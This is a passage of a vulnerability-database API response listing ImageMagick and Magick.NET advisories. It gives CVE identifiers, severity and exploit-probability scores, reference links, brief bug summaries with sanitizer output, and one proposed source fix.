12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04223","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04211","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04092","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16707","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25982"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25982","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25982"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmq6-8289-hx3v","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:03:44Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pmq6-8289-hx3v"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25982","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25982"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442124","reference_id":"2442124","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442124"},{"reference_url":"https://github.com/advisories/GHSA-pmq6-8289-hx3v","reference_id":"GHSA-pmq6-8289-hx3v","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-pmq6-8289-hx3v"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25982","GHSA-pmq6-8289-hx3v"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-sdc2-fcap-abaz"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23701?format=json","vulnerability_id":"VCID-spch-fffg-4yc5","summary":"Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family\n## Withdrawn Advisory\nThis advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages.\n\n### Original Description\nWe believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string.\n\n**Vulnerability Details**\n- Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory.\n- `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption.\n\n```cpp\nif (family_.length() == 0)\n  {\n    _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font);\n    DestroyString(RemoveImageOption(imageInfo(),\"family\"));\n  }\n```\n\n- **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object.\n- **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts.\n\n**Affected Versions**\n- Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313).\n- Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected.\n\n**Command Line Triggerability**\nThis vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition.\n\n**Proposed Fix**\n```diff\ndiff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp\n@@ void Magick::Options::fontFamily(const std::string &family_)\n-      _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font);\n+      _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family);\n```\nThis frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-65955.json","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-65955.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-65955","reference_id":"","reference_type":"","scores":[{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05753","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07863","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07936","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07781","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07797","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07883","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07896","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07912","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07925","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07901","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07844","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.0789","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00028","scoring_system":"epss","scoring_elements":"0.07832","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-65955"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-65955","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-65955"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/6409f34d637a34a1c643632aa849371ec8b3b5a8","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/6409f34d637a34a1c643632aa849371ec8b3b5a8"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/6f81eb15f822ad86e8255be75efad6f9762c32f8","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/6f81eb15f822ad86e8255be75efad6f9762c32f8"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1122827","reference_id":"1122827","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1122827"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418549","reference_id":"2418549","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418549"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-65955","reference_id":"CVE-2025-65955","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-65955"},{"reference_url":"https://github.com/advisories/GHSA-q3hc-j9x5-mp9m","reference_id":"GHSA-q3hc-j9x5-mp9m","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-q3hc-j9x5-mp9m"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q3hc-j9x5-mp9m","reference_id":"GHSA-q3hc-j9x5-mp9m","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-q3hc-j9x5-mp9m"}],"fixed_packages":[],"aliases":["CVE-2025-65955","GHSA-q3hc-j9x5-mp9m"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-spch-fffg-4yc5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24208?format=json","vulnerability_id":"VCID-sw7g-hxxr-n3e1","summary":"ImageMagick has a Path Policy TOCTOU symlink race bypass\n`domain=\"path\"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28689.json","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28689.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28689","reference_id":"","reference_type":"","scores":[{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00712","published_at":"2026-04-09T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00722","published_at":"2026-04-08T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00723","published_at":"2026-04-07T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00718","published_at":"2026-04-04T12:55:00Z"},{"value":"8e-05","scoring_system":"epss","scoring_elements":"0.00721","published_at":"2026-04-02T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00953","published_at":"2026-04-26T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00896","published_at":"2026-04-18T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.0089","published_at":"2026-04-12T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00892","published_at":"2026-04-13T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00889","published_at":"2026-04-16T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00945","published_at":"2026-04-29T12:55:00Z"},{"value":"9e-05","scoring_system":"epss","scoring_elements":"0.00949","published_at":"2026-04-24T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28689"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28689","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28689"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-493f-jh8w-qhx3","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T15:56:31Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-493f-jh8w-qhx3"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28689","reference_id":"","reference_type":"","scores":[{"value":"6.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28689"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445891","reference_id":"2445891","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445891"},{"reference_url":"https://github.com/advisories/GHSA-493f-jh8w-qhx3","reference_id":"GHSA-493f-jh8w-qhx3","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-493f-jh8w-qhx3"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28689","GHSA-493f-jh8w-qhx3"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-sw7g-hxxr-n3e1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23948?format=json","vulnerability_id":"VCID-tt6z-t31v-dkdd","summary":"ImageMagick has an Out-of-bounds Write via InterpretImageFilename\nDue to an incorrect return value on certain platforms a pointer is incremented past the end of a buffer that is on the stack and that could result in an out of bounds write.\n\n```\n=================================================================\n==48558==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016b9b7490 at pc 0x0001046d48ac bp 0x00016b9b31d0 sp 0x00016b9b31c8\nWRITE of size 1 at 0x00016b9b7490 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33536.json","reference_id":"","reference_type":"","scores":[{"value":"5.0","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33536.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33536","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04109","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04408","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04548","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04412","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04429","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04423","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04391","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04528","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.045","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04368","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04367","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04359","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04378","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05277","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33536"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33536","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33536"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8793-7xv6-82cf","reference_id":"","reference_type":"","scores":[{"value":"5.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-27T13:44:35Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8793-7xv6-82cf"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33536","reference_id":"","reference_type":"","scores":[{"value":"5.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33536"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451849","reference_id":"2451849","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451849"},{"reference_url":"https://github.com/advisories/GHSA-8793-7xv6-82cf","reference_id":"GHSA-8793-7xv6-82cf","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-8793-7xv6-82cf"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1077698?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.11.1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.11.1"}],"aliases":["CVE-2026-33536","GHSA-8793-7xv6-82cf"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-tt6z-t31v-dkdd"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/25007?format=json","vulnerability_id":"VCID-tv15-dcnu-pbbn","summary":"ImageMagick: Heap overflow in pcd decoder leads to out of bounds read.\nThe pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read.\n\n```\n==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60\nREAD of size 1 at 0x502000003c6c thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26284.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26284.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26284","reference_id":"","reference_type":"","scores":[{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05884","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05853","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05891","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05923","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05901","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05892","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06084","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.0608","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06044","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06013","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.0586","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05823","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05849","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.05858","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26284"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26284","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26284"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wrhr-rf8j-r842","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-24T20:46:33Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wrhr-rf8j-r842"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26284","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"